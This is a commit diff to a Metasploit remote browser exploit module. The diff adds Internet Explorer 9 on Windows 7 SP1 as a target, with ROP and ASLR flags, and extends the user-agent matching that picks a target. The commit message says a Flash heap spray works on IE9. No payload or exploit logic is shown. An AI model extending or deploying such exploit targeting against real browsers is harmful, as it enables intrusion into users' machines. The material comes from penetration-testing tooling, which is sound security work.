heap spray from flash works pretty well on ie9 too
parent
730c0e9368
commit
57c6385279
|
@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
],
|
||||
[
|
||||
'IE 7 on Windows Vista',
|
||||
'IE 7 on Windows Vista SP2',
|
||||
{
|
||||
'Rop' => nil
|
||||
}
|
||||
|
@ -84,6 +84,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Rop' => true,
|
||||
'ASLR' => true
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 9 on Windows 7 SP1',
|
||||
{
|
||||
'Rop' => true,
|
||||
'ASLR' => true
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
|
@ -243,9 +250,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
|
||||
return targets[3] #IE 8 on Windows XP SP3
|
||||
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
||||
return targets[4] #IE 7 on Windows Vista
|
||||
return targets[4] #IE 7 on Windows Vista SP2
|
||||
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
|
||||
return targets[5] #IE 8 on Windows 7
|
||||
return targets[5] #IE 8 on Windows 7 SP1
|
||||
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
|
||||
return targets[6] #IE 9 on Windows 7 SP1
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue